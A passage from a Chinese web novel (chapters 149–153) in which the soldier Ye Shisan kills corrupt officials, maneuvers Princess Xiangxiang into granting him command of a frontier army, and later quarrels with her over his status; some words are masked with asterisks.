双膝跪地的苏烈,惊叫一声就急辩道:“万川郡驻军,向来军纪严明,大将军不住在大营,故……”
苏烈说了一半,就停下了话头。
但话外之音,在场的人都听明白了。
军营是军营,官邸是官邸,人家骠骑大将军住在城里,想干何事?
难道作为下属的将领们,还能管得着他们的最高长官谭祖高?
就在这时候,带领着一队步军的万川郡太守牛煜,进得绛云楼后,一脸惊慌地指着叶十三,向身后一名步军都尉吼道:“将黄羊岘防区千户拿下,火速派人告知通天驿军部岳佟……”
“敢问牛太守,叶千户何罪之有?”
香香郡主缓缓转过身来,目光冷冷看向万川郡太守牛煜。
只此一眼,牛煜就跪了。
“郡主,误会啊郡主……”
第149章 片刻功夫,叶十三又连杀两人
气氛,一下子就紧张起来。
叶十三的刀,这次没有及时插回刀鞘,而是一直在手中握着。
“太守大人是吧?”
叶十三目光冷冷,紧盯着太守牛煜的脸,用手中的刀指着已经瘫倒在地的两个衙门官员,冷声又道:“此二人强迫郡主,欲供谭祖高淫乐,身为地方官员,官德如此败坏之人,居然不顾郡主斥责,进而一意孤行助纣为虐,难道这都是太守大人在背后授意?”
背后授意?
这顶帽子也太大了吧?
再是糊涂,牛煜这时候也不傻,心中只怨谭祖高太糊涂,居然色胆包天,这才引来杀身之祸。
“郡主明鉴,下官绝无此意,一切都是这两个混账东西……”
“哦!”
叶十三眼里又是一道寒芒闪过,借着牛煜的话头,冷声道:“既然不是太守大人背后授意,那这二人就是咎由自取了?末将替太守大人依法办理。”
一个“理”字还没落地,索性一不做二不休的叶十三,手中刀在眼前划过一条弧线,在一片血雨飞溅之下,地上霎时就又多了两颗脑袋骨碌碌直滚着。
两具没了脑袋的躯干,从脖子的断茬上喷出的血,顿时就在地上流成了河。
“冒犯郡主,本是大逆不道之罪,如此丧心病狂且又目无王法,该斩!”
就这片刻功夫,叶十三又连杀两人。
抛开苏烈不说,就这万川郡太守,一时也找不出个合适的理由来制裁叶十三。
香香郡主本人,内心也是被震惊到了极点。
她没想到,叶十三杀起人来,居然连眼睛都不眨一下。
而且,所杀之人,都是背着对她这个郡主以下犯上的大逆之罪**。
而这个过程,都是在众人面前光明正大的**。
一切看似都合情合理,完全是为了保护她这个郡主而为。
跳坑了!
这狗东西,直接给她挖了如此大的一个坑让她跳了。
怪不得,饭后出行逛街,这混蛋居然没带上马成。
而是让苏哲跟着,一切都是理所当然地进行着。
好吧!
只怪这个谭祖高倒霉,居然色胆包天撞到了叶十的刀下。
内心再是骇到了极点,眼下要紧的,就是把谭祖高的谋逆犯上之罪给锤实了。
这个不需要白纸黑字的口供,有这么多人目睹就会够了。
正当她在想一个合适的步骤的时候,叶十三向她拱手又道:“启禀郡主,我大夏与元蒙之间,大战一触即发,形势如此严峻之下,万川郡北防军居然如此混乱,如果由此引发哗变,郡主身为监军,怕是难以向朝廷交代?”
“依你之见?”
就像抓住了一根救命稻草一样的香香郡主,急急把目光看向叶十三,又道:“北防军中确实有诸多的问题,幸亏发现早了,不然后果不堪设想。”
“那末将斗胆,借郡主虎头兵符一用?”
说着,叶十三没握刀的那只手,直接伸到香香郡主面前。
混蛋,你害死姑奶奶我了。
你**就**,姑奶奶这不在替你善后,你这混蛋倒好,原来是谋这份兵权不成?
香香郡主心头又是陡然一惊,虎头兵符,那可意味着什么?
就在这个时候,急于撇清自己的牛煜,像是发现了机会。
“郡主,千户大人所说没错。”
“哦!”
香香郡主一怔,又把视线转移到牛煜脸上,道;“太守大人说说看?”
牛煜把心一横,道;“下官虽说是这万川郡太守,但在谭大将军面前,还是矮了不止一截,平时谭大将军所作所为,下官那可是敢怒不敢言啊!”
听出来了!
这见风使舵的万川郡太守,眼看情形不对,便即刻调转风向,竟然支持起叶十三来。
“好吧!”
香香郡主故作镇定,缓缓从怀里,掏出一只黝黑的虎头兵符,颤抖着递向叶十三说道;“那就有劳叶千户了,替本郡主整顿万川郡北防军一应军务,若有抗命者,斩!”
一个“斩”字出口,香香郡主差点昏厥过去。
“末将遵命!”
叶十三单手接过兵符,目光看向苏哲,提高了声调道;“苏哲听令,即刻传万川郡北防军军中,副尉以上军职者,即刻到万川郡府衙参见本千户。”
“苏烈听令,你带部下,严守城门,除了校尉副尉以上者,其他军职兵将一概不得入城。”
如此安排一下,叶十三目光看向香香郡主,谦逊道:“末将如此安排,郡主是否满意?”
这一切,在所有人看来,都是香香郡主在主事。
而叶十三,就是香香郡主的一个副将而已。
苏家兄弟领了命令,向香香郡主施礼后,急忙就去执行叶十三的军令。
“郡主,这等腌臜之地,绝非郡主停留之处,还是移驾府衙吧?”
“叶千户所言及是,如此肮脏之地,岂是郡主能待的地方?”
牛煜也
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不放过任何一次讨好香香郡主的机会,即刻就响应着叶十三的提议。
如果香香郡主真被谭祖高这条老骚狗**过,那他这个太守也就干到头了。
谭祖高可是和衙门的两个官员一起去来的青楼,而且还对香香郡主出言不逊,算是谭祖高的同谋共犯。
谭祖高再是重要,那也没有香香郡主的身份显贵。
何况,谭祖高已经被叶十三所杀,接下来要做的,就是把谭祖高的罪行,想办法再锤实一些,如此一来,与之相关的人都好脱掉干系。
“郡主,整顿军务,势在必行,不然养虎成患后悔莫及啊!”
牛煜又是一句,目光偷窥香香郡主一眼。
养虎成患?
那这只虎,就是谭祖高了?
再是谭祖高对她**不敬,那也只是冒犯之罪,理应向朝廷**。
但叶十三这货,已经把谭祖高给杀了。
是谭祖高想要她这个郡主的命,叶十三为了救她,这才情急之下出手。
如此理由,方可把此事掩盖过去。
要知道,一个二品军职的大将军**,那不是个小事。
上如何向朝廷交代?
下如何安抚三万北防军的驻军?
这两样都是天大的麻烦。
事已至此,只有被叶十三这混蛋牵着鼻子走了。
“太守大人,朝廷早都风闻谭祖高有反叛之意,就方才他**本郡主,又欲砍本郡主的脑袋一事,作为地方政要,你得将此事上奏朝廷才是。”
香香郡主把这个责任,顺手就推给了万川郡太守。
而她把自己,则放在一个受害人的位置上。
“请郡主放心,下官这就连夜写折子,八百里急送上书朝廷。”
急于从这件事中,要摘清自己的牛煜,忙不迭更的就按照香香郡主的意图去做。
“还有,这军中不可一日无帅,黄羊岘防区千户叶十三近来战功赫赫,万川郡北防军就暂由叶十三代管。”
香香终于狠下心来,越庖代俎地做了决定。
叶十三这货,已经从她手里拿走了兵符。
她不答应又能如何?
她后悔自己的轻率,如此一来,就把自己的命运,直接和叶十三捆绑在一起。
控制叶十三,她连三成的把握都没有。
倒是这个叶十三,处处指使着她团团转。
一炷香后,万川郡城开始了宵禁。
只有一队兵马,进入城门后,向郡衙方向狂奔而来。
第150章 悠悠众口
郡衙的都尉,亲自带着郡衙的兵马,严控了几条主要的街区。
客栈里的卫兵们,此时已经全副武装,跟随在香香郡主身后来到郡衙门。
不大时候,城外大营的十名校尉将军,三十名副尉副将全部都**在万川郡城内的郡衙大厅。
作为苏哲胞弟的苏烈,自然是站在香香郡主这边了。
但其余的九个校尉将军就不同了,他们本是镇北王的部下。
对这个郡主,还真没放眼里。
“末将等,参见郡主。”
四十名将领,齐刷刷立在郡衙大厅,拱手向香香郡主行礼。
看来,这个监军职,真唬不住这些骁勇善战的将领们。
肃王府的郡主,在他们眼里,无非就是个纨绔子弟而已。
至于监军职,无非就是个给这些皇亲国戚,来边城镀金的招牌而已。
众将领目光一扫大厅,只见已经换上了一身战甲的香香郡主居中高坐,却不见他们的统帅骠骑大将军谭祖高。
朝廷派来的监军整顿军务,那也是例行公事,走个过场而已。
但无论如何?
作为驻军的直接责任人骠骑大将军谭祖高应该在场。
“抬上来!”
香香郡主一脸寒霜,冷冷就是一句。
马成带着十个新卒,抬着一具用毛毡盖着的尸体,摆放在大厅中央的地上。
众将领一头雾水,一双双眼睛齐刷刷,紧盯着地上**毡覆盖着的尸体,一种山雨欲来的感觉纷纷袭上心头。
“我大夏北漠千里防线何其重要,如今万川郡北防军军纪如此涣散,还谈何抵御外敌入侵?”
香香郡主一张粉脸,霎时就变得严厉起来,言辞凿凿直击在场众将领。
“郡主明鉴!”
一名校尉站了出来,拱手道:“我万川郡驻军大营,日常操练从未间断,就是军纪军规,也是相当严明,不知郡主所指?”
校尉一脸大写的不服,只是碍于身份不敢发怒而已。
“末将斗胆,敢问郡主,万川郡驻军,何事让郡主如此恼怒?”
又一名校尉站了出来,深躬一礼后反问一句。
这一问。
大厅里的校尉和副尉们,纷纷面露不满,目光炯炯一起看向怒气冲天的香香郡主。
此时,香香郡主不免一阵心虚,偷瞥叶十三一眼。
此时的叶十三,就像老僧入定一般,微闭着眼睛站在那里养神。
混蛋!
祸是你惹下的,都什么时候了?
还站那里没事人一样装死。
“大胆!”
这时候,苏哲跳了出来,怒目看向众将领,厉声又道:“你们眼里还有郡主?还有朝廷任命的监军大人?”
此言一出,众将领心头一凛,目光齐齐转移到苏哲脸上。
至于苏哲,他们有些人倒是认得。
这时候,第一个发言的校尉,向苏哲潦草一礼,轻蔑道:“敢问苏将军,在场这些弟兄们,都是和将军一样的校尉,我等如何就眼中没有郡主,没有监军大人了?”
“你……”
苏哲一时语塞,面对这些和他同级军职的校尉们,居然接不上话来。
突然,香香郡主粉脸陡变,厉声吼道:“来人,让他们亲眼看看!”
“遵命!”
马成上前一步,和另一名新卒揭起尸体上面的一片毛毡。
“啊……”
一片惊叫过后,众将领被骇得目瞪口呆。
地上躺着的,那可是万川郡驻军统帅谭祖高大将军。
这一下,大厅里霎时就骚动起来。
只见仰放在地上的尸体,胸口上一条二指宽的刀口,周围的血渍已经变得乌黑。
“是谁谋害了大将军?”
一名校尉暴跳起来,眼里寒芒顿起盯着太守牛煜。
“敢问郡主,这是?”
另一名校尉眼中寒芒一闪,向香香郡主投去惊异的一瞥,然后弯下腰来,蹲在谭祖高的尸体旁边查验着刀口。
“何人如此大胆?居然敢刺杀骠骑大将军?”
瞬间暴怒的校尉,从尸体旁站了起来,目光如炬直射香香郡主脸上。
“请注意你的用词!”
叶十三睁开眼睛,缓缓就是一句。
“你又是何人?”
众将领这才注意到,香香郡主座椅一侧,灯影下还站着一个身穿白板皮袍的人。
“老子就是将这个狗贼正法的人!”
叶十三一脸冷傲,迈腿向前两步,盯着校尉的脸又道:“老子先纠正一下你的用词,以下犯上,大逆不道的狗贼谭祖高,不是被刺杀,而是被就地正
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法。”
就地正法?
“仓啷!”
大厅里霎时就一片佩刀出鞘的声音。
“是你,杀了谭大将军?”
校尉面颊一抽,一只手已经按在佩刀上,条件反射下后退一步,不可置信地看向叶十三那张冷酷的脸。
“是我没错!”
叶十三倒背双手,目光从大厅里众将脸上一一扫过,淡淡又道:“身为领军主帅,居然在青楼寻欢作乐不说,还对郡主动手动脚**再三,谭祖高不顾郡主斥责,居然丧心病狂对郡主兵刀加身,如此大逆不道之徒,就地正法有何不可?”
此言一出,众将大骇,目光一起看向跟随着谭祖高的苏烈。
在众将领的审视下,苏烈表情沉重,重重点了几下头表示所述属实。
苏烈何人?
那可是骠骑大将军的亲随校尉啊!
再是大将军身份,**郡主不说,而且还对郡主兵刀加身?
这不明摆着找死吗?
可谭祖高不糊涂啊!答案只有一个,那就是酒喝糊涂以后,见色起意才惹下滔天大祸。
这问题又来了,能杀谭祖高,又是一刀致命的人,武力还真不俗。
他是谁?
就是眼前这个,亲口承认自己杀了人的兵卒?
一个身穿白板羊皮袄的人?
香香郡主看到脸上阴晴不定的众将,傲然一挺上身,冷声又道:“无恶不作的谭祖高,业已被正法,北防军军纪涣散,整治刻不容缓!”
众将领都知道,这肃王向来和镇北王不和,他这宝贝女儿,是要借着这起事件来排除异己了?
这郡主也是知道,他们这些人,那可是镇北王一手带出来的兵。
就在香香郡主和众将隔空对目的时候,有一名校尉站了出来,沉声道:“末将斗胆,敢问监军大人,是如何整治我等军纪?”
这一问,大厅上气氛就紧张了起来。
称呼里“郡主”二字,已经换成了“监军大人”,完全一副对抗架势。
有人带头,就有人响应,又一名校尉站了出来,潦草一礼,冷声道:“监军大人急召末将等前来见驾,该不会是想铲除我们这些不顺眼的人?”
此言一出,众将领眼中顿时寒芒一片,香香郡主紧张得手心都出了汗。
第151章 剑拔**张
“还请郡主明示!”
“监军大人,这是要为难我等了?”
“就是谭祖高死有余辜,他所犯罪责,于我等何干?”
“末将怀疑,郡主这是在我等摆了一道鸿门宴啊!”
“万川郡出了如此大事,如此拿我等开问,这等连坐,郡主您请奏朝廷了吗?”
几乎所有的校尉,都虎视眈眈,丝毫不惧香香郡主的监军身份。
“放肆!”
香香郡主硬起头皮,厉声斥道:“正因为万川郡出了如此大事,军中不能群龙无首,本郡主也好,监军也罢,都有责任履行职责规整军务。”
听明白了!
众将领这才明白,香香郡主借着整顿军纪,是要把这支三万兵马的大军,名正言顺地掌控起来。
最先向香香郡主发难的校尉,拱手一礼,缓缓说道:“按理说,该由朝廷降旨,任命一位能服众的德才之人,才可统领万川郡三万驻军,郡主越庖代俎,怕是有违背朝廷的制度之嫌?”
“放肆!”
苏哲见此人咄咄逼人,立刻站出来驳斥道:“好你个周大祥,事发突然,军情又紧急,这些你不是不知道,眼下战事一触即发,难道还要等上个把月,让朝廷派人下来统军不成?”
“苏校尉,你我之间,也算是旧识了,但军中之事,岂能如此草率?”
名叫周大祥的校尉,一点都不给苏哲这个老熟人面子,依然咄咄逼人毫不退缩。
苏哲面上一红,把目光又投向另外一名校尉脸上,拱手道:“穆顺,你说说,眼下元蒙**大兵压境,随时都可向我大夏出兵,郡主身为监军,难道无权对万川郡驻军进行整顿?”
“这……”
穆顺面颊一抽,把目光又投向周大祥。
思忖片刻,讪讪说道:“周兄,苏老弟的话,也不是没有道理,这要是等到朝廷的任命下来,我军一盘散沙的局面,如何抵御元蒙大军?”
“那也得是文才武略,都能服众的将才来领军才行。”
周大祥一语道破天机。
就眼下军中,十个校尉里面,就他和穆顺的资历最深。
如果采用选拔制,那无疑是一场自相残杀的局面。
要是由这个乳臭未干的郡主来任命,那多少还是有些任人唯亲的嫌疑。
起码,校尉苏烈,是苏哲的亲胞弟,何况他最先倒向这个郡主,对于谭祖高的死,显得是一点都不足惜。
话已挑明,众将领目光纷纷看向香香郡主,齐齐抱拳,同声禀道:“还望郡主推举出一位德才兼备之人,才不辜负我等厚望。”
完了!
这帮人,等于把话挑得更明了。
所选之人,要是他们这些人不服,那也是白搭。
香香郡主迎着几十道欲射人穿的目光,心头不由得又是一阵慌乱。
搞不好,还真会出乱子的。
真要是搞到一发不可收拾的地步,不但她会受到父亲的责罚,而圣上也不会放过她的父亲肃王的。
好啊!
叶十三你这混蛋,坑是你挖给姑奶奶我的,那我就成全了你,看你如何收场?
“千户听令!”
香香郡主暴吼一声。
“末将在。”
叶十三应了一声,然后低下头来。
“现情况特殊,军情紧急,本监军任命你,暂且代管万川郡三万北防军,待日后本郡主禀明朝廷,再由朝廷另行安排。”
香香郡主不傻,她无权直接任命一支三万兵马的统帅。
作为郡主也好,监军也罢,提出暂且代管的意见,那也是无可挑剔的。
不料,此言一出,大厅顿时就乱了起来。
周大祥率先脸色一变,厉声道:“郡主莫不是拿万川郡三万北防军当儿戏?”
“且慢!”
穆顺也面色一寒,冷声道:“您贵为郡主,又是身负监军之职,在您眼里,难道这阿猫阿狗的,都能统帅这三万大军不成?”
阿猫阿狗?
你们这些鸟人,真不拿军粮当马料了?
叶十三笑了,笑得有些诡异。
缓缓上前一步,从背后放下手来在胸前一拱,道:“本千户见过各位将军了。”
“滚一边去!”
一瞥叶十三的样子,周大祥勃然大怒,像是受到奇耻大辱一样,指着叶十三上鼻尖骂道:“周某是再无能,也轮不到你这等货色瞎指挥。”
周大祥怀疑,谭祖高究竟是不是眼前这货杀的?
该不会是苏哲杀了人,香香郡主找个顶包的傀儡出来,目的就是掌控这三万兵马,从而拆解镇北王吕南庭在边城的实力?
与此同时,有着和周大祥同样想法的穆顺,倒是一脸笑意,偏着脑袋把叶十三上下打量一番,阴阳怪气地说道:“这猛一看
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,眉清目秀的,我老穆还以为是个娘们,这近一瞅嘛!原来是个小白脸,哈哈哈……”
这一笑,引得大厅里一片哄堂大笑。
突然,狂笑中的穆顺,声音见了鬼一样戛然而止。
众将惊讶地看到,穆顺的脖子上,已经被架着一把破铁条一样的刀。
再看握刀之人,正是身穿白板羊皮袄的叶十三。
没人看清叶十三是如何出刀?
那把破铁条一样的残刀,已经从叶十三的腰间出鞘。
要知道,穆顺那可是军中有名的快刀,不然如何从一名趟子手,一路混到骠骑校尉的位置。
这下,周大祥不淡定了。
作为一个征战多年的军伍,他知道这意味着什么?
看来,这小子没撒谎,谭祖高那个倒霉鬼,就是眼前这人杀的。
脖子一阵冰凉的穆顺,不禁失声问道:“敢问千户大人尊姓大名?”
被香香郡主方才称为千户的叶十三,微微一笑,缓缓说道:“不敢称尊,本千户贱姓叶,名十三。”
叶十三?
霎时,大厅上静得一片死寂。
仿佛都能听到每个人紧张的心跳。
良久!
周大祥抱拳一礼,沉声道:“兄台莫非就是黄羊岘防区千户,叶十三叶大人?”
“呵呵!”
叶十三爽朗一笑,淡淡说道:“在各位将军面前,十三还真不敢称大人。”
说着,叶十三从穆顺的脖子上,抽回了那把残刀。
顿觉肩上一轻的穆顺,随即抱拳一礼,惊道:“你真是岳大将军,从黄羊岘烽火台擢升军职的那个烽燧兵?”
“承蒙岳大将军抬爱!”
叶十三双手高过右肩膀,抱拳就是一个高礼。
说完,叶十三视线又转移到周大祥脸上,笑道:“敢问将军,通天驿镇军部,周钊将军你可认识?”
“嗨!”
满脸胡须的周大祥,一拍大腿笑道:“岂能不识?在下大祥,他是二祥,后来岳佟大将军给改名为周钊……”
其实,自打这些人一到郡衙大厅,叶十三一眼就看出来,为首的这个校尉,和周钊竟有**分的相似。
反观苏哲、苏烈两兄弟,倒是貌若旁人。
望着眼前陡转的形势,香香郡主暗暗松了一口气。
苏哲也是,蹦到嗓子眼的一颗心,霎时就落回了肚里。
第152章 军权在手
话已至此,多说无益。
周大祥上前一步,向香香郡主深躬一礼,朗声道:“请郡主恕末将失礼之罪。”
“请郡主恕罪!”
穆顺也跨前一步,拱手低头,道:“末将是个粗人,方才有失仪态,还望郡主见谅!”
形势陡转之下,香香郡主也是见好就收,摆手道:“都是性情中人,本郡主也非小肚鸡肠,你等身为军中高层将领,对本郡主的决断有权提出异议。”
这话,适可而止,过头就显矫情了。
双方心知肚明,只是相互给个台阶下而已。
周大祥又转过身来,面向大厅众将领说道:“叶大人暂管万川郡三万北防军,本人无异议,愿听监军大人和叶大人调遣,不知你们可有异议?”
这话,纯属废话。
身为校尉之首的周大祥都向叶十三低头了,其他人哪敢找不自在?
“末将愿听从监军大人,叶大人调遣。”
穆顺带头单腿跪地,齐声表态。
这些人称呼香香郡主为“监军大人”,而不是郡主。
言下之意,那是身为军伍当以军规为上,而非是屈服朝中的那位肃王。
这一点,香香郡主岂能不懂?
斜瞥叶十三一眼,眼神就要把叶十三吃了一样。
努力半天,到让你这混蛋捡了个大便宜。
到头来,万川郡的三万大军,貌似又到了镇北王那老东西的手里。
挣圆了力气想拉泡硬屎,最终却放了个屁出来。
懊恼万分的香香郡主,面对众将领的表态,不得不拿出监军的姿态,提高了声调说道:“元蒙敌贼,亡我大夏之心不死,身为边军,定以己身筑铁墙,誓与疆**存亡!”
“定以己身筑铁墙,誓与疆**存亡!”
郡衙大厅,霎时呼声雷动,众将领高举拳头,重复着香香郡主方才的话。
这一幕,看得角落里的牛煜脸上汗水津津,不时地拿衣袖擦拭着额头。
好悬!
要是引起哗变,他这个太守,就是两头受气的大冤种。
眼看紧急情况突然一个大转弯,牛煜慌忙上前,急道:“自上次郡主路过万川郡,无奈行程匆忙,下官仅仅只是和郡主打个照面而已,没有机会尽一份地主之谊,今日得幸,大营众将领也在,就让下官聊表心意,还望郡主恩准!”
还别说,经过这番折腾,香香郡主还真觉得肚子饿了。
“也好!”
香香郡主点点头,道:“既然牛太守如此有心,正好我戍边将领们都齐聚一堂,应该军地联袂,共图大夏疆域无虞。”
“郡主不辞千里来边城监军,一路鞍马劳顿,我等本应如此。”
此言一出,众将领也是频频点头,纷纷表示遵循郡主的意思。
一时间,衙门的一名都尉,亲自带着一帮兵卒们,很快就给大厅内摆上了几张长桌。
燃烧的一片通红的木炭盆,也被端了进来摆放在大厅四周。
叶十三缓步上前,附在牛煜的耳边,低声道:“郡主饮食甚洁,食不得膻物,这个你可掌握好了?”
“谢千户大人提醒!”
牛煜一怔,随即就反应过来,感激地向叶十三拱手一礼。
不大时候,酒菜摆上。
由于突然宵禁,各大酒楼所备的食材,还没卖出多少,就被衙门禁止营业。
如此一来,倒是方便了牛煜,各种美食一下子就被送到郡衙大厅。
“郡主请尝尝这道鱼!”
牛煜哈着腰立在桌前,指着香香郡主面前的几道盘子,又道:“此鱼边城独有,凿冰冬捕而来,肉质细嫩而少腥味,故有冰河三鲜之称。”
“哦!”
香香郡主缓缓抬头,淡淡说道:“不就一条鱼而已,何谓冰河三鲜?”
这一问,牛煜脸上一阵得意。
“郡主有所不知,冬天之鱼少游动而不进食,肚肠甚是干净,这鱼肉和豆腐清炖,鱼身又是削成薄片,先水滚后油炝,最绝的是这鱼鳔鱼肠,拿酒腌制后涮锅吃。”
“还有!”
牛煜顺了口气,指着一盆带汤的鸡肉,又道:“前几日突降厚雪,兵士们捕了些雪鸡回来,下官还想着给郡主您送到通天驿镇,未曾想到郡主您再次莅临万川郡,下官这就让厨子拿晒干的菌子给炖了。”
还别说,这万川郡太守牛煜拍马屁的功夫,还真是一流。
“太守大人有心了!”
香香郡主冷若冰霜的一张粉脸,霎时就浮起一丝笑意。
“郡主过奖了!”
得到夸赞是牛煜,微微一笑,又道:“下官得知郡主不食膻物,故就让厨子多做了些素菜,饭食简便不成敬意,还请郡主海涵为盼。”
此言一出,就连香香郡主也是一愣,脱口问道:“本郡主前几日只是路过万川郡,和你也是只是一面之晤,你是如何得知本郡主不食膻物?”
“这个……”
牛煜一瞥香香郡主侧面坐着的叶十三,讪笑道:“是千户大人有心提醒下官,下官这才避免冒犯了郡主的食癖。”
相互帮衬,历来都是官场上的惯例。
叶十三提醒了牛煜,牛煜受到夸奖时,自然要把这份功劳分叶十三一半。
“
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哦!”
香香郡主点点头,微微撇嘴,敷衍道:“千户大人也是个有心之人,就怪本郡主没看出来。”
这话,让叶十三听了,还真觉得不那么对味。
“郡主何等金贵,这又是边城苦地,不能让水土不服给伤了肠胃。”
叶十三也是满脸堆笑,急忙奉上一句恭维之词。
“行了!”
香香郡主摆摆手,懒得再理叶十三,端起眼前酒杯,一双美眸看向众将领,高举酒杯,道:“辛苦各位将军,今后大家同仇敌忾,永保大夏疆土无虞。”
说罢!
香香郡主一仰天鹅般优雅的脖子,把杯中酒一饮而尽。
众将领也端起酒杯,纷纷站了起来,齐声道:“监军大人辛苦,末将等守土有责,分内之事而已。”
说完,众将领把酒杯放在嘴边,浅尝一口算是回敬。
整顿军务,整治军纪。
这个噱头已经喊了出来,众将领也不傻,不可能在这个节骨眼上举杯豪饮。
这种自打嘴巴的事,这些老兵油子们,根本不会去犯这样低级的错误。
时机已到,等众将领落座,叶十三端起一杯茶来,面向香香郡主,道:“末将以茶代酒,敬郡主一杯。”
然后,又把目光看向众将领,朗声又道:“叶十三不才,还望各位将军鼎力相助。”
说完,叶十三把一杯茶水一饮而尽。
“烫死你得了!”
看到饮下茶水的叶十三面颊一阵急抽,香香郡主肚里狠骂一句,差点就笑出声来。
那杯茶,可是刚斟满的。
草!
谁**刚添的滚茶?
差点烫死老子。
差点就出了丑的叶十三,面上一阵尴尬,强装没事人一样,继续保持着微微笑意。
既然叶十三以茶代酒,众将领也不客气,纷纷端了茶水,又站立起来,同声说道:“末将等,愿听叶将军调遣。”
这句话,叶十三受用多了。
虽然还是个下千户军职,但手下却有了北防军的三万兵马。
论军职,那只是代管万川郡驻军的下千户职。
可要是论实力,就是军部的岳佟,从兵马数量上来比,可就逊色点意思了。
不愧是官场老油条的牛煜,从一旁都尉手中接过一物,双手呈向叶十三,道:“万川郡太守牛煜,向叶大人交付骠骑大将军兵符。”
骠骑大将军兵符?
叶十三自己都忘了,谭祖高身上,那可是有朝廷兵部颁发的大将军兵符。
这玩意,就是调兵遣将的信令,更是一军之首的身份象征。
第153章 冷手抓个热馒头
突来的惊喜,让叶十三呆愣当场。
“还不快接着?”
反应极快的香香郡主,狠剜叶十三一眼,沉声又道:“难道你敢抗命不成!”
“末将遵命!”
叶十三一弯腰,双手从牛煜手中接过那枚兵符。
强按着心跳,叶十三把骠骑大将军兵符缓缓揣入怀中,又向香香郡主礼道:“末将谨遵郡主号令。”
说着,又把从怀里摸出来的那枚,没派上用场的监军兵符,同时交还给香香郡主。
本来,叶十三是想,借着香香郡主手中的兵符,杀几个带头挑事的将领,来震慑整个大军。
这是一步臭棋,也是一场冒险。
一旦玩砸,说不定就会激起兵变。
不觉间,夜已深。
望着满桌狼藉,叶十三表示,明天一早,就会去城外北防军大营接手军务。
一场危机就这样化解,**一个骠骑大将军谭祖高,却让叶十三的冷手,抓了一个大大的热馒头。
……
饮了几杯酒的缘故,回到客栈的香香郡主睡意顿失。
挥退苏哲后,香香郡主满是愠怒的目光,投向叶十三脸上。
“混蛋!”
“郡主何故发怒?”
叶十三一脸无辜,怔怔望向香香郡主,迎着香香郡主满是怒意的目光,道:“保护郡主,那是末将旁无责贷的本分。”
“还说?”
狠剜叶十三一眼,香香郡主黯然伤神起来,幽幽说道:“此事非同小可,一个从二品的骠骑大将军,居然就这样被你杀了。”
叶十三面上一抽,咧嘴道:“谁敢对郡主不敬,末将就砍了谁的脑袋。”
面对叶十三的一副舔狗样,香香郡主的怒火,噌一下又升腾起来。
“行了!”
香香郡主一摆手,摇头道:“我没想到,你的城府居然如此之深,就连我,你也敢设套利用。”
“郡主何出此言?”
叶十三不装了,背起双手在地上踱着步子,冷声道:“难道我叶家,在你们这些人眼里,真该被贬籍充军?”
“小点声!”
此言一出,香香郡主脸上闪过一丝惊慌,惊瞥门口一眼,低声又道:“许多事,并非我等能左右得了,就连我自己,至今都没搞明白。”
这里面果然有蹊跷!
叶十三脑仁一阵生疼,这个郡主,和叶家,和他叶十三之间,绝对是有着某种关系的。
趁着叶十三发愣,香香郡主又道:“我不知道,这次听了你的话,冒了如此大的惊险,后果如何?暂且不得而知,若是朝廷追查下来,就我这个监军职,还能不能保住都是个问题?”
“监军职?”
叶十三嘴角扬起一丝冷笑,嘲讽道:“你们在京都享受着荣华富贵,还要插手边城事务,难道边城十万戍边将士,都是你们权贵手中争权夺利的棋子不成?”
“别说了!”
香香郡主差点蹦起来按住叶十三的嘴,一脸羞恼地望着叶十三,惊道:“眼下朝纲不稳,各种势力暗中蠢蠢欲动,谁拥有军队,谁就有在朝堂上说话的绝对权势,这些都是你看不到的,这次行事居然反其道而行之,你考虑过我的担忧吗?”
“你的担忧?”
叶十三轻蔑地望着香香郡主,口气不屑地说道:“你们这些权贵的担忧,于我这等奴籍何干?”
“啪!”
话音刚落,叶十三的脸上,就挨了香香郡主一个响亮的耳光。
这一巴掌,给叶十三打蒙了。
这蠢货,这个傻白甜,居然有如此大的火气?
“那你索性连我也杀了?”
香香郡主胸脯往前一挺,偏着脑袋凑到叶十三面前,又道:“你的刀,不是砍过很多人的脑袋吗?照这里砍,让我也了却心中的那份苦闷。”
了却心中的那份苦闷?
香香,郑香逸,郡主?
难道这傻白甜,真是前身记忆碎片中的那个女人?
使劲的一回忆,脑仁又是一阵生疼。
面对情绪几近失控的香香郡主,叶十三也不免一阵慌乱。
“郡主,不早了,该歇着了!”
叶十三伸出手来,轻轻一推把脖子伸到他面前的香香郡主,又道:“非常时期,有些事情不免难以控制,失礼之处还望郡主海涵。”
说着,叶十三拱手一礼,准备退下。
“站住!”
香香郡主扭过头来,面色冷得吓人。
“别得意太早,你别忘了,你眼下只是个代管而已,若是在这期间做出对不起朝廷的事,本郡主照样砍你的脑袋。”
香香郡主一脸冰霜,声音也是冷到了极点。
“你别忘了,你吃的是朝廷的粮,拿的是朝廷的饷,听朝廷的话才是正道坦途。”
这时候,香香郡主丝毫没有半点任性,就像和叶十三摊牌一样。<
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br>“郡主言重了!”
叶十三缓缓转过身来,傲然看向香香郡主那张五官精致的俏脸,面无表情地淡淡说道:“我所食,所用,都是我拿命换来的,不是谁白给我的。”
“拿命换来的?”
香香郡主一怔,随即浮起一丝不屑的神情,轻蔑道:“一个奴籍的命,值几两银子?”
奴籍的命?
值几两银子?
这话,刺得叶十三心里一疼。
一道寒芒,即刻从叶十三眼中闪过,冷冷说道:“我是奴籍,命当然不值钱了,可**的脑袋值钱,怕**怕得要死的那些两脚畜生的命值钱。”
“你……”
叶十三话音一落,香香郡主就跳了起来,颤抖着一只手指向叶十三,吼道:“你……你给我说清楚,谁是两脚畜生?”
“**眼里的两脚羊,难道不是畜生?”
叶十三当仁不让,即刻反唇相讥。
香香郡主万没想到,叶十三竟然拐弯抹角,骂她是两脚畜生。
“别以为你曾经杀过那么几个**,就可以在本郡主面前装大!”
香香郡主抓过剑来,缓缓指向叶十三的咽喉,冷声道:“要不是看你有些军功,你连站在本郡主面前说话的资格都没有,你哪来的底气跟本郡主叫板?”
“我手中的刀,就是资本,就是底气!”
面对香香郡主的威胁,叶十三被激得眼中腾起了杀机。
“只有刀,才有资格和别人讲道理。”
叶十三又是一句。
被气得浑身发抖的香香郡主,就在一愣神的瞬间,发现抵着叶十三咽喉的那把剑,已经到了叶十三手上。
见鬼了?
一切都晚了,也完了。
就一息时间,自己的剑在不知不觉中被叶十三夺去。
“好吧!”
香香郡主闭起了眼睛,幽幽说道:“本郡主这条命,还是你从**手中救回来的,你尽管拿去好了,本郡主也就不欠你什么了。”
“哼!”
叶十三鼻孔冷哼一声。
“当啷!”
那把手柄装帧的十分精美的剑,被叶十三随手扔在地上。
“你不光欠我一条命,而且还欠我二百两银子。”
叶十三说完,转身走向门口。
